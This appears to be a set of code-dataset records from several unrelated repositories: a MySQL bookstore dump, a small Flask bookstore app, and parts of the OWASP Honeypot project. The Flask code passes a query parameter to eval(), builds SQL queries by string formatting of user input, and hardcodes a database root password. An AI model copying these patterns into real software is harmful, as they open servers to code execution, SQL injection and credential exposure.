'时代文艺出版社', 44.00, 6),\n ('9787540485214', '偷影子的人', '马克·李维', '湖南文艺出版社', 39.80, 20),\n ('9787540487645', '云边有个小卖部', '张嘉佳', '湖南文艺出版社', 42.00, 0),\n ('9787544288590', '窗边的小豆豆', '黑柳彻子', '南海出版公司', 39.50, 12),\n ('9787544291170', '百年孤独', '加西亚·马尔克斯 ', '南海出版公司', 55.00, 29),\n ('9787559442017', '你有风情,亦有风骨', '张蔚然', '江苏凤凰文艺出版社', 45.00, 22),\n ('9787559442628', '古代人的日常生活', '讲历史的王老师', '江苏凤凰文艺出版社', 69.90, 32),\n ('9787559612236', '女孩们', '艾玛·克莱因', '北京联合出版有限公司', 49.80, 7),\n ('9787559634511', '流浪图书馆', '大卫 怀特豪斯', '北京联合出版有限公司', 49.80, 22),\n ('9787576005141', '智慧之旅', '朱邦复', '华东师范大学出版社', 25.00, 6);\n/*!40000 ALTER TABLE `newbook`\n ENABLE KEYS */;\nUNLOCK TABLES;\n\n--\n-- Table structure for table `oldbook`\n--\n\nDROP TABLE IF EXISTS `oldbook`;\n/*!40101 SET @saved_cs_client = @@character_set_client */;\n/*!50503 SET character_set_client = utf8mb4 */;\nCREATE TABLE `oldbook`\n(\n `BNo` char(17) NOT NULL,\n `BName` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n `Author` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n `Press` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n `Price` decimal(10, 0) NOT NULL,\n `Stock` smallint NOT NULL,\n PRIMARY KEY (`BNo`)\n) ENGINE = InnoDB\n DEFAULT CHARSET = utf8;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `oldbook`\n--\n\nLOCK TABLES `oldbook` WRITE;\n/*!40000 ALTER TABLE `oldbook`\n DISABLE KEYS */;\nINSERT INTO `oldbook`\nVALUES ('9787040312102', '概率论与数理统计', '茆诗松', '高等教育出版社', 55, 5),\n ('9787107346415', '陀螺', '高洪波', '人民教育出版社', 25, 3),\n ('9787108063106', '我们仨', '杨绛', '生活.读书.新知三联书店', 28, 6),\n ('9787302556831', '软件项目管理', '夏辉、徐鹏', '清华大学出版社', 45, 2),\n ('9787506380263', '人间失格', '太宰治', '作家出版社', 25, 6),\n ('9787517839040', '现代流通科学研究方法', '张德纯、王兴亮', '浙江工商大学出版社', 69, 2),\n ('9787519201906', '英语四级词汇', '伍乐其', '世界图书出版公司', 50, 0),\n ('9787530215593', '活着', '余华', '北京十月文艺出版社', 35, 9),\n ('9787538760743', '罗生门', '芥川龙之介', '时代文艺出版社', 44, 2),\n ('9787559442017', '你有风情,亦有风骨', '张蔚然', '江苏凤凰文艺出版社', 45, 7),\n ('9787559442628', '古代人的日常生活', '讲历史的王老师', '江苏凤凰文艺出版社', 70, 7),\n ('9787576005141', '智慧之旅', '朱邦复', '华东师范大学出版社', 25, 4);\n/*!40000 ALTER TABLE `oldbook`\n ENABLE KEYS */;\nUNLOCK TABLES;\n\n--\n-- Table structure for table `orderbook`\n--\n\nDROP TABLE IF EXISTS `orderbook`;\n/*!40101 SET @saved_cs_client = @@character_set_client */;\n/*!50503 SET character_set_client = utf8mb4 */;\nCREATE TABLE `orderbook`\n(\n `ONo` char(20) NOT NULL,\n `ODate` datetime NOT NULL,\n `MNo` bigint NOT NULL,\n `BNo` char(17) NOT NULL,\n `ONum` smallint NOT NULL,\n `OPay` decimal(10, 2) NOT NULL,\n PRIMARY KEY (`ONo`),\n KEY `MNo` (`MNo`),\n KEY `BNo` (`BNo`),\n CONSTRAINT `orderbook_ibfk_1` FOREIGN KEY (`MNo`) REFERENCES `members` (`MNo`),\n CONSTRAINT `orderbook_ibfk_2` FOREIGN KEY (`BNo`) REFERENCES `newbook` (`BNo`)\n) ENGINE = InnoDB\n DEFAULT CHARSET = utf8;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `orderbook`\n--\n\nLOCK TABLES `orderbook` WRITE;\n/*!40000 ALTER TABLE `orderbook`\n DISABLE KEYS */;\nINSERT INTO `orderbook`\nVALUES ('O20200201000001', '2020-02-01 15:46:14', 100006, '9787302556619', 1, 20.00),\n ('O20200422000001', '2020-04-22 10:47:56', 100001, '9787302556619', 2, 40.00),\n ('O20200422000002', '2020-04-22 11:48:06', 100002, '9787519201906', 1, 50.00),\n ('O20200513000001', '2020-05-13 12:48:55', 100003, '9787538760743', 8, 352.00),\n ('O20200611000001', '2020-06-11 10:50:03', 100004, '9787108063106', 2, 100.00),\n ('O20200611000002', '2020-06-11 11:50:48', 100003, '9787502289669', 40, 1520.00),\n ('O20200611000003', '2020-06-11 14:21:49', 100005, '9787040541410', 5, 295.00);\n/*!40000 ALTER TABLE `orderbook`\n ENABLE KEYS */;\nUNLOCK TABLES;\n/*!40103 SET TIME_ZONE = @OLD_TIME_ZONE */;\n\n/*!40101 SET SQL_MODE = @OLD_SQL_MODE */;\n/*!40014 SET FOREIGN_KEY_CHECKS = @OLD_FOREIGN_KEY_CHECKS */;\n/*!40014 SET UNIQUE_CHECKS = @OLD_UNIQUE_CHECKS */;\n/*!40101 SET CHARACTER_SET_CLIENT = @OLD_CHARACTER_SET_CLIENT */;\n/*!40101 SET CHARACTER_SET_RESULTS = @OLD_CHARACTER_SET_RESULTS */;\n/*!40101 SET COLLATION_CONNECTION = @OLD_COLLATION_CONNECTION */;\n/*!40111 SET SQL_NOTES = @OLD_SQL_NOTES */;\n\n-- Dump completed on 2020-06-21 0:02:00\n" }, { "alpha_fraction": 0.4959612190723419, "alphanum_fraction": 0.4959612190723419, "avg_line_length": 25.913043975830078, "blob_id": "1b484b978abe79bf196460da9da6d99a8913d169", "content_id": "3dc9d5887fb55584a7d22b32b17d1bc102f2d3f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 657, "license_type": "no_license", "max_line_length": 98, "num_lines": 23, "path": "/Member.py", "repo_name": "HXhlx/Flask", "src_encoding": "UTF-8", "text": "class Account:\n def __init__(self, account_id, balance):\n self.account_id = account_id\n self.balance = balance\n\n def settle(self, price):\n self.balance -= price\n\n\nclass Member:\n def __init__(self, info):\n self.member_id, self.id, self.name, self.phone, self.face, self.score, self.address = info\n\n # def to_dict(self):\n # return {\n # '会员号': self.member_id,\n # '身份证号': self.id,\n # '姓名': self.name,\n # '电话号码': self.phone,\n # '头像': self.face,\n # '积分': self.score,\n # '住址': self.address\n # }\n" }, { "alpha_fraction": 0.5792025923728943, "alphanum_fraction": 0.5878232717514038, "avg_line_length": 19.395605087280273, "blob_id": "e4a88e97acd729fba8a0f5eb02949995bd6fe7ec", "content_id": "47cd7ea7b9c63409311552545262a84d1f43e3cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1946, "license_type": "no_license", "max_line_length": 65, "num_lines": 91, "path": "/app.py", "repo_name": "HXhlx/Flask", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request, url_for\nfrom Terminal import *\n\napp = Flask(__name__)\napp.debug = True\napp.config['JSON_AS_ASCII'] = False\napp.config['JSONIFY_MIMETYPE'] = 'application/json;charset=utf-8'\nuser = Application()\nmem = dict()\n\n\[email protected]('/home')\ndef home():\n return render_template('首页.html')\n\n\[email protected]('/skip')\ndef skip():\n phone = request.args.get('phone')\n id = request.args.get('id')\n if phone:\n if user.login(phone):\n return home()\n else:\n return register(phone)\n elif id:\n mem['id'] = id\n mem['face'] = request.args.get('face')\n mem['name'] = request.args.get('name')\n mem['address'] = request.args.get('address')\n if user.register(mem):\n return home()\n else:\n return login()\n else:\n return '你正在尝试从非法途径访问该网页'\n\n\[email protected]('/')\[email protected]('/app')\ndef application():\n return render_template('APP界面.html')\n\n\[email protected]('/my')\ndef my():\n return render_template('我的.html')\n\n\[email protected]('/operator')\ndef operator():\n return render_template('操作.html')\n\n\[email protected]('/login')\ndef login():\n return render_template('登录.html')\n\n\[email protected]('/register/<phone>')\ndef register(phone):\n mem['phone'] = phone\n return render_template('注册.html')\n\n\[email protected]('/shopping')\ndef shopping():\n num = eval(request.args.get('num', 0))\n if num > 0:\n if user.mem.member_id:\n user.sell(user.mem.member_id, '9787506380263', num)\n return render_template('购物车.html', num=num)\n else:\n return '请先注册或登录'\n else:\n return '输入有误'\n\n\[email protected]('/detail')\ndef detail():\n return render_template('详情.html')\n\n\[email protected]('/sell')\ndef sell():\n return render_template('购买.html')\n\n\nif __name__ == '__main__':\n app.run()\n app.run(debug=True)\n" }, { "alpha_fraction": 0.5509641766548157, "alphanum_fraction": 0.5674931406974792, "avg_line_length": 23.200000762939453, "blob_id": "730638c650cbb0cdc6184a1266ea24bc013b53c2", "content_id": "15962679f49615adad7b9dc2acc0e92a7d5bef38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 363, "license_type": "no_license", "max_line_length": 84, "num_lines": 15, "path": "/Book.py", "repo_name": "HXhlx/Flask", "src_encoding": "UTF-8", "text": "from datetime import datetime\n\n\nclass NewBook:\n def __init__(self, new):\n self.ISBN, self.name, self.author, self.press, self.price, self.number = new\n\n\nclass OldBook(NewBook):\n def __init__(self, old):\n NewBook.__init__(self, old)\n if self.price <= 60:\n self.rent = self.price * 0.08\n else:\n self.rent = 6\n" }, { "alpha_fraction": 0.534368097782135, "alphanum_fraction": 0.6274944543838501, "avg_line_length": 33.69230651855469, "blob_id": "710868ee4942ef49394ea0b015d39b183bc84130", "content_id": "df2f9bca006af2f631fbd8ff109a2d01ee03aae4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1399, "license_type": "no_license", "max_line_length": 89, "num_lines": 39, "path": "/test.py", "repo_name": "HXhlx/Flask", "src_encoding": "UTF-8", "text": "import unittest\nfrom Terminal import Application\nfrom mysql.connector import connect\nfrom Administrator import Administrator\n\n\nclass ApplicationTest(unittest.TestCase):\n def setUp(self):\n self.app = Application()\n self.admin = Administrator(1, '352230199803030024', '张三', '123456', None)\n self.mem = {\n 'id': '987654200006014321',\n 'name': '胡图图',\n 'face': r'D:\\Python\\bookstore_flask\\static\\photo\\头像.jpg',\n 'address': '翻斗大街翻斗花园二号楼1001室',\n 'phone': 20000601\n }\n\n def test_register(self):\n self.assertTrue(self.app.register(self.mem))\n self.cnx = connect(user=\"root\", password=\"hx19990627\", database=\"bookstore\")\n self.cursor = self.cnx.cursor()\n self.cursor.execute(\"delete from members where IDNo = {}\".format(self.mem['id']))\n self.cnx.commit()\n self.cursor.close()\n self.cnx.close()\n\n def test_login(self):\n self.assertTrue(self.app.login(15861165153))\n self.assertIsNone(self.app.login(123))\n\n def test_sell(self):\n self.assertIsNone(self.app.sell(100007, '9787506380263', 20))\n self.assertIsNone(self.admin.supplement('newbook', '9787506380263', 20))\n self.assertEqual(self.app.sell(100007, '9787506380263', 23), '库存不足')\n\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.6071428656578064, "alphanum_fraction": 0.6071428656578064, "avg_line_length": 24.454545974731445, "blob_id": "d305f391b8a7ff0dfa2534e3831da4ed156163e5", "content_id": "a3d9ca592fb2ac116ba52b98b4446df91c749a0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 280, "license_type": "no_license", "max_line_length": 84, "num_lines": 11, "path": "/Database.py", "repo_name": "HXhlx/Flask", "src_encoding": "UTF-8", "text": "from mysql.connector import connect\n\n\nclass Database:\n def __init__(self):\n self.cnx = connect(user=\"root\", password=\"hx19990627\", database=\"bookstore\")\n self.cursor = self.cnx.cursor()\n\n def __del__(self):\n self.cursor.close()\n self.cnx.close()\n" }, { "alpha_fraction": 0.5615917444229126, "alphanum_fraction": 0.563827395439148, "avg_line_length": 41.599998474121094, "blob_id": "c7ea9c77c4869a65355418014f4c493dafb58f1a", "content_id": "8729e6ea3eeaf8d10b3de3b79981d2b2690d6453", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4585, "license_type": "no_license", "max_line_length": 176, "num_lines": 105, "path": "/Terminal.py", "repo_name": "HXhlx/Flask", "src_encoding": "UTF-8", "text": "from Book import *\nfrom Member import *\nfrom Database import Database\nfrom datetime import datetime\n\n\nclass Application(Database): # app(手机端)\n mem = Member((None, None, None, None, None, None, None))\n\n def register(self, mem):\n self.cursor.execute(\"insert into members (IDNo, Name, Tel, Img, Addr) values (%(id)s, %(name)s, %(phone)s, %(face)s, %(address)s)\", mem)\n self.cnx.commit()\n if self.login(mem['phone']):\n return True\n\n def login(self, phone): # 注册/登录\n self.cursor.execute(\"select * from members where Tel = '{}'\".format(phone))\n result = self.cursor.fetchone()\n if result:\n self.mem = Member(result)\n return True\n\n def sell(self, id, bno, num): # 销售\n date = datetime.now().date().__str__().replace('-', '')\n self.cursor.execute(\"select * from buybook where BuyNo like 'B{}%'\".format(date))\n n = len(self.cursor.fetchall())\n self.cursor.execute(\"select * from newbook where BNo = '{}'\".format(bno))\n new = NewBook(self.cursor.fetchone())\n if new.number >= num:\n self.cursor.execute(\"insert into buybook values (%s, %s, %s, %s, %s, %s)\", ('B' + date + str(n + 1).zfill(5), datetime.now(), id, bno, num, new.price * num))\n self.cursor.execute(\"update newbook set Stock = Stock - %s where BNo = %s\", (num, bno))\n self.cnx.commit()\n else:\n return '库存不足'\n\n def pre_sell(self, id, bno, num): # 预售\n date = datetime.now().date().__str__().replace('-', '')\n self.cursor.execute(\"select * from olderbook where ONo like 'O{}%'\".format(date))\n n = len(self.cursor.fetchall())\n self.cursor.execute(\"select * from newbook where BNo = '{}'\".format(bno))\n new = NewBook(self.cursor.fetchone())\n self.cursor.execute(\"insert into buybook values (%s, %s, %s, %s, %s, %s)\", ('O' + date + str(n + 1).zfill(5), datetime.now(), id, bno, num, new.price * num))\n self.cnx.commit()\n\n def unsubscribe(self): # 退订\n pass\n\n def sales_return(self): # 退货\n pass\n\n def recommend(self): # 图书推荐\n pass\n\n\nclass Cabinet(Database): # 自提柜\n def pick_up(self): # 提货\n pass\n\n\nclass Server(Database): # 自助服务器(PC端)\n def reserve(self, bno, num): # 预订\n date = datetime.now().date().__str__().replace('-', '')\n self.cursor.execute(\"select * from olderbook where ONo like 'O{}%'\".format(date))\n n = len(self.cursor.fetchall())\n self.cursor.execute(\"select * from newbook where BNo = '{}'\".format(bno))\n new = NewBook(self.cursor.fetchone())\n self.cursor.execute(\"insert into buybook values (%s, %s, %s, %s, %s, %s)\", ('O' + date + str(n + 1).zfill(5), datetime.now(), id, bno, num, new.price * num))\n self.cnx.commit()\n\n def sales_return(self): # 退货\n pass\n\n def give_back(self): # 归还\n pass\n\n def unsubscribe(self): # 退订\n pass\n\n\nclass BookStore(Database): # 书店\n def sell(self, id, bno, num): # 销售\n date = datetime.now().date().__str__().replace('-', '')\n self.cursor.execute(\"select * from buybook where BuyNo like 'B{}%'\".format(date))\n n = len(self.cursor.fetchall())\n self.cursor.execute(\"select * from newbook where BNo = '{}'\".format(bno))\n new = NewBook(self.cursor.fetchone())\n if new.number >= num:\n self.cursor.execute(\"insert into buybook values (%s, %s, %s, %s, %s, %s)\", ('B' + date + str(n + 1).zfill(5), datetime.now(), id, bno, num, new.price * num))\n self.cursor.execute(\"update newbook set Stock = Stock - %s where BNo = %s\", (num, bno))\n self.cnx.commit()\n else:\n return '库存不足'\n\n def rent(self, id, bno, num, rdate, state): # 租借\n date = datetime.now().date().__str__().replace('-', '')\n self.cursor.execute(\"select * from leasebook where LNo like 'L{}%'\".format(date))\n n = len(self.cursor.fetchall())\n self.cursor.execute(\"select * from oldbook where BNo = '{}'\".format(bno))\n old = OldBook(self.cursor.fetchone())\n if old.number >= num:\n self.cursor.execute(\"insert into leasebook values (%s, %s, %s, %s, %s, %s,%s)\", ('L' + date + str(n + 1).zfill(5), datetime.now(), id, bno, rdate, state, old.rent))\n self.cursor.execute(\"update oldbook set Stock = Stock - %s where BNo = %s\", (num, bno))\n self.cnx.commit()\n else:\n return '库存不足'\n" } ]
9
MNWani/MW-Repo
https://github.com/MNWani/MW-Repo
e41732d75046fe83a38317e7921412474b5f1e0a
c8c5dee5932e87e2420c333a7556e1729d5ea7c3
ca28c1319370a9747054a91e1d7de686e6f8685f
refs/heads/master
2021-01-11T17:01:10.100533
2017-04-22T10:40:09
2017-04-22T10:40:09
68,829,457
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.3571428656578064, "alphanum_fraction": 0.5476190447807312, "avg_line_length": 13, "blob_id": "46d6d963345143062e858e631c058cbee14f9423", "content_id": "d2086b0f8c8edeca4d755c9426b3b39ea9c4397c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 42, "license_type": "no_license", "max_line_length": 33, "num_lines": 3, "path": "/PycharmProjects/school_donations/static/lib/js/dc.js", "repo_name": "MNWani/MW-Repo", "src_encoding": "UTF-8", "text": "/**\n * Created by home on 03/04/2017.\n */\n" }, { "alpha_fraction": 0.7486136555671692, "alphanum_fraction": 0.7541589736938477, "avg_line_length": 22.565217971801758, "blob_id": "bab0b9bd1a5f7c7ec39ca821e1c40795818b1f52", "content_id": "f99ba31931a802773acca99b1870cfc50500692a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 541, "license_type": "no_license", "max_line_length": 56, "num_lines": 23, "path": "/PycharmProjects/twitter/twitter_user.py", "repo_name": "MNWani/MW-Repo", "src_encoding": "UTF-8", "text": "import tweepy\nfrom tweepy import OAuthHandler\n\n# Replace these values with our own twitter app settings\nCONSUMER_KEY = 'MTaRhqhZU4ysFVOxxEgT35gPP'\nCONSUMER_SECRET = 'BMVMybPpe2YcPCdOhIL2eK3yk3YoK6RD2S6qmenS4zAvHErntg'\nOAUTH_TOKEN = '2507131836-ctbamJYSGXPK68jYt3k2JnXqhsdbdr4Wvk5XtCS'\nOAUTH_TOKEN_SECRET = 'QlXneemNfdfDgqaXqyq27TvJdR6OJjBATdIfq0f4xK05h'\n\nauth = OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\nauth.set_access_token(OAUTH_TOKEN, OAUTH_TOKEN_SECRET)\n\napi = tweepy.API(auth)\n\nuser = api.get_user('@madonna')\n\nprint user.screen_name\nprint user.followers_count\n\nfor friend in user.friends():\n print\n print friend.screen_name\n print friend.followers_count" }, { "alpha_fraction": 0.5280898809432983, "alphanum_fraction": 0.5280898809432983, "avg_line_length": 29, "blob_id": "3dc26118f6d2d55265131ef38272a47cac5235f8", "content_id": "32005d0e7babda2835f9fbda49d31f94677a5e8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 89, "license_type": "no_license", "max_line_length": 45, "num_lines": 3, "path": "/PycharmProjects/TheBirdClass/Bird Class.py", "repo_name": "MNWani/MW-Repo", "src_encoding": "UTF-8", "text": "class Parrot(Bird):\n def __init__(self):\n Bird.__init__(self, 'Parrot', 'Kah!')" }, { "alpha_fraction": 0.629482090473175, "alphanum_fraction": 0.6812748908996582, "avg_line_length": 40.83333206176758, "blob_id": "ccc2f1981f9ae5029a64a1ecf5129af75eaf0a16", "content_id": "7780ad4d7bf407ddf195d689b8db2a9f09dd822d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 251, "license_type": "no_license", "max_line_length": 78, "num_lines": 6, "path": "/PycharmProjects/untitled/test_vending_machine.py", "repo_name": "MNWani/MW-Repo", "src_encoding": "UTF-8", "text": "import unittest\n\nclass TestVendingMachine(unittest.TestCase):\n def test_return_change(self):\n self.assertEqual(give_change(17), [10, 5, 2], 'wrong change given')\n self.assertEqual(give_change(18), [10, 5, 2, 1], 'wrong change given')\n" }, { "alpha_fraction": 0.6142857074737549, "alphanum_fraction": 0.6142857074737549, "avg_line_length": 34.25, "blob_id": "1962a35892e762cee01abdded810404d344ec93d", "content_id": "bf568289ae0bfc2fa99e13430add08b1164433bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 140, "license_type": "no_license", "max_line_length": 53, "num_lines": 4, "path": "/PycharmProjects/TheBirdClass/fraction.py", "repo_name": "MNWani/MW-Repo", "src_encoding": "UTF-8", "text": "def __add__(self, other):\n num = self.num * other.den + self.den * other.num\n den = self.den * other.den\n return Fraction(num, den)" } ]
5
ChakshuGupta/OWASP-Honeypot
https://github.com/ChakshuGupta/OWASP-Honeypot
9f45ab58a5548b16c5be26fbd0061a635ab1d44b
a8548de79b7321486c7df7c42c3eb769a16ebc57
438fe56a7343c0fad36c527fa78865af3efeb035
refs/heads/master
2021-03-23T12:12:52.744265
2020-03-04T20:08:31
2020-03-04T20:11:42
247,451,319
2
0
Apache-2.0
2020-03-15T11:16:47
2020-03-15T07:43:34
2020-03-04T21:26:06
null
[ { "alpha_fraction": 0.492642343044281, "alphanum_fraction": 0.5001599192619324, "avg_line_length": 23.23255729675293, "blob_id": "0d5290cadb9381790c9612f987d72790b10b0966", "content_id": "546c557a91e87d1dff57015e3dcdf515b8ce0570", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6252, "license_type": "permissive", "max_line_length": 107, "num_lines": 258, "path": "/core/compatible.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport subprocess\nimport random\nimport string\nimport shutil\nimport inspect\n\nfrom core.exit_helper import exit_failure\n\n__version__ = \"0.0.1\"\n__code_name__ = \"SAME\"\n\n\ndef _version_info():\n \"\"\"\n version information of the framework\n\n Returns:\n an array of version and code name\n \"\"\"\n return [__version__, __code_name__]\n\n\ndef logo():\n \"\"\"\n OWASP HoneyPot Logo\n \"\"\"\n from core.alert import write_to_api_console\n from core.color import finish\n write_to_api_console(\"\"\"\n ______ __ _____ _____ \n / __ \\ \\ / /\\ / ____| __ \\ \n | | | \\ \\ /\\ / / \\ | (___ | |__) |\n | | | |\\ \\/ \\/ / /\\ \\ \\___ \\| ___/ \n | |__| | \\ /\\ / ____ \\ ____) | | \n \\____/ \\/ \\/_/ \\_\\_____/|_|\n _ _ _____ _ \n | | | | | __ \\ | | \n | |__| | ___ _ __ ___ _ _| |__) |__ | |_ \n | __ |/ _ \\| \"_ \\ / _ \\ | | | ___/ _ \\| __|\n | | | | (_) | | | | __/ |_| | | | (_) | |_ \n |_| |_|\\___/|_| |_|\\___|\\__, |_| \\___/ \\__|\n __/ |\n |___/ \\n\\n\"\"\")\n finish()\n\n\ndef version():\n \"\"\"\n version of python\n\n Returns:\n integer version of python (2 or 3)\n \"\"\"\n return int(sys.version_info[0])\n\n\ndef check(language):\n \"\"\"\n check if framework compatible with the OS\n Args:\n language: language\n\n Returns:\n True if compatible otherwise None\n \"\"\"\n # from core.color import finish\n from core.alert import messages\n if \"linux\" in os_name() or \"darwin\" in os_name():\n pass\n # os.system(\"clear\")\n elif \"win32\" == os_name() or \"win64\" == os_name():\n # if language != \"en\":\n # from core.color import finish\n # from core.alert import error\n # error(\"please use english language on windows!\")\n # finish()\n # sys.exit(1)\n # os.system(\"cls\")\n pass\n else:\n exit_failure(messages(language, \"error_platform\"))\n if version() is 2 or version() is 3:\n pass\n else:\n exit_failure(messages(language, \"python_version_error\"))\n logo()\n return True\n\n\ndef os_name():\n \"\"\"\n OS name\n\n Returns:\n OS name in string\n \"\"\"\n return sys.platform\n\n\ndef is_windows():\n \"\"\"\n check if the framework run in Windows OS\n\n Returns:\n True if its running on windows otherwise False\n \"\"\"\n if \"win32\" == os_name() or \"win64\" == os_name():\n return True\n return False\n\n\ndef check_for_requirements(start_api_server):\n \"\"\"\n check if requirements exist\n\n Returns:\n True if exist otherwise False\n \"\"\"\n from core.alert import messages\n from config import api_configuration\n # check external required modules\n try:\n import pymongo\n import netaddr\n import flask\n del netaddr\n del flask\n except Exception as _:\n exit_failure(\"pip install -r requirements.txt\")\n # check mongodb\n try:\n connection = pymongo.MongoClient(api_configuration()[\"api_database\"],\n serverSelectionTimeoutMS=api_configuration()[\n \"api_database_connection_timeout\"])\n connection.list_database_names()\n except Exception as _:\n exit_failure(\"cannot connect to mongodb\")\n # check if its honeypot server not api server\n if not start_api_server:\n # check docker\n try:\n subprocess.check_output([\"docker\", \"--help\"], stderr=subprocess.PIPE)\n except Exception as _:\n exit_failure(messages(\"en\", \"docker_error\"))\n # check tshark\n try:\n subprocess.check_output([\"tshark\", \"--help\"], stderr=subprocess.PIPE)\n except Exception as _:\n exit_failure(\"please install tshark first!\")\n return True\n\n\ndef make_tmp_thread_dir():\n \"\"\"\n create random thread directory\n\n Returns:\n name of directory or False\n \"\"\"\n return mkdir(\"tmp/thread_\"\n + \"\".join([str(string.ascii_uppercase + string.ascii_lowercase + string.digits)[\n random.randint(0, len(str(string.ascii_uppercase + string.ascii_lowercase +\n string.digits)) - 1)] for i in range(15)]))\n\n\ndef mkdir(dir):\n \"\"\"\n create directory\n\n Args:\n dir: directory path\n\n Returns:\n Name of directory or False\n \"\"\"\n if not os.path.exists(dir):\n try:\n os.makedirs(dir)\n except Exception as _:\n return False\n return dir\n\n\ndef copy_dir_tree(src, dst, symlinks=True, ignore=None):\n \"\"\"\n copytree a directory\n\n Args:\n src: source directory\n dst: destination directory\n symlinks: copy symlinks\n ignore: ignore\n\n Returns:\n True\n \"\"\"\n # https://stackoverflow.com/a/12514470\n for item in os.listdir(src):\n s = os.path.join(src, item)\n d = os.path.join(dst, item)\n if os.path.isdir(s):\n shutil.copytree(s, d, symlinks, ignore)\n else:\n shutil.copy2(s, d)\n return True\n\n\ndef get_module_dir_path(module):\n \"\"\"\n get a module path\n\n Args:\n module: module\n\n Returns:\n path\n \"\"\"\n return os.path.dirname(\n inspect.getfile(module)\n )\n\n\ndef generate_token(length=32):\n \"\"\"\n generate token using hex chars\n\n Args:\n length: length of token - default 32\n\n Returns:\n token string\n \"\"\"\n return \"\".join(random.choice(\"0123456789abcdef\") for _ in range(32))\n\n\ndef byte_to_str(data):\n \"\"\"\n convert data to str\n\n :param data: data\n :return: str(data)\n \"\"\"\n return str(data if isinstance(data, str) else data.decode() if isinstance(data, bytes) else data)\n\n\ndef is_verbose_mode():\n \"\"\"\n is run as verbose mode?\n\n :return: boolean\n \"\"\"\n return '--verbose' in sys.argv or '-v' in sys.argv\n" }, { "alpha_fraction": 0.5072463750839233, "alphanum_fraction": 0.695652186870575, "avg_line_length": 16.25, "blob_id": "462c52663fcf8cdfdc7487c1a6620aad1aec6351", "content_id": "fc045419450d6a1f23b53283c74bbf8a4c19cb3f", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 69, "license_type": "permissive", "max_line_length": 24, "num_lines": 4, "path": "/requirements.txt", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "pymongo==3.9.0\nnetaddr==0.7.19\nflask==1.1.1\nterminable_thread==0.7.1\n" }, { "alpha_fraction": 0.4012819826602936, "alphanum_fraction": 0.4095975160598755, "avg_line_length": 44.6310920715332, "blob_id": "a0c6d2805ef62fb717092b48f682e00ba7797761", "content_id": "6e115c7e492d38bd6be779349fed455420b763eb", "detected_licenses": [ "MIT", "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 34634, "license_type": "permissive", "max_line_length": 127, "num_lines": 759, "path": "/web/static/js/main.js", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "// this file will be used as general JS file\n\n// colors used in charts\nwindow.chartColors = {\n red: \"rgb(255, 0, 0)\",\n pink: \"rgb(255, 0, 191)\",\n orange: \"rgb(255, 159, 64)\",\n yellow: \"rgb(255, 205, 86)\",\n green: \"rgb(75, 192, 192)\",\n green_yellow: \"rgb(191, 255, 0)\",\n blue: \"rgb(54, 162, 235)\",\n purple: \"rgb(153, 102, 255)\",\n grey: \"rgb(201, 203, 207)\",\n cyan: \"rgb(0, 255, 255\"\n};\n\nvar colors_array = [\"rgb(255, 0, 0)\", \"rgb(255, 0, 191)\", \"rgb(255, 159, 64)\", \"rgb(255, 205, 86)\", \"rgb(75, 192, 192)\",\n \"rgb(191, 255, 0)\", \"rgb(54, 162, 235)\", \"rgb(153, 102, 255)\", \"rgb(201, 203, 207)\", \"rgb(0, 255, 255\"]\n\nvar color = Chart.helpers.color;\nvar chartColors = window.chartColors;\n\n// check number of total events if updated then renew the graph\nvar old_number_of_total_events;\nvar new_number_of_total_events;\n\nfunction load_creds_username(module){\n\t$.ajax({\n type: \"GET\",\n url: \"/api/events/most-usernames-used\",\n\t\tdata: {\"module_name\" : module},\n }).done(function (res) {\n\t\tvar tableHtml='';\n\t\tfor (var i = 0; i < res.length; i++) {\n var m = res[i];\n\t\t\tvar count= m.count;\n\t\t\tvar username= m._id.username;\n\t\t\tvar ip_dest= m._id.ip_dest;\n\t\t\tvar module_name = m._id.module_name;\n\t\t\ttableHtml += \"<tr>\"\n\t\t\t\t+\"<td>\"+ (i+1) +\"</td>\"\n + \"<td>\"+ username+\"</td>\"\n\t\t\t\t+ \"<td>\"+ ip_dest +\"</td>\"\n + \"<td>\"+ count +\"</td>\"\n\t\t\t\t+ \"<td>\"+ module_name +\"</td>\"\n + \"</tr>\";\n }\n\t\t$('#module_creds_username_table tbody').html(tableHtml);\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if 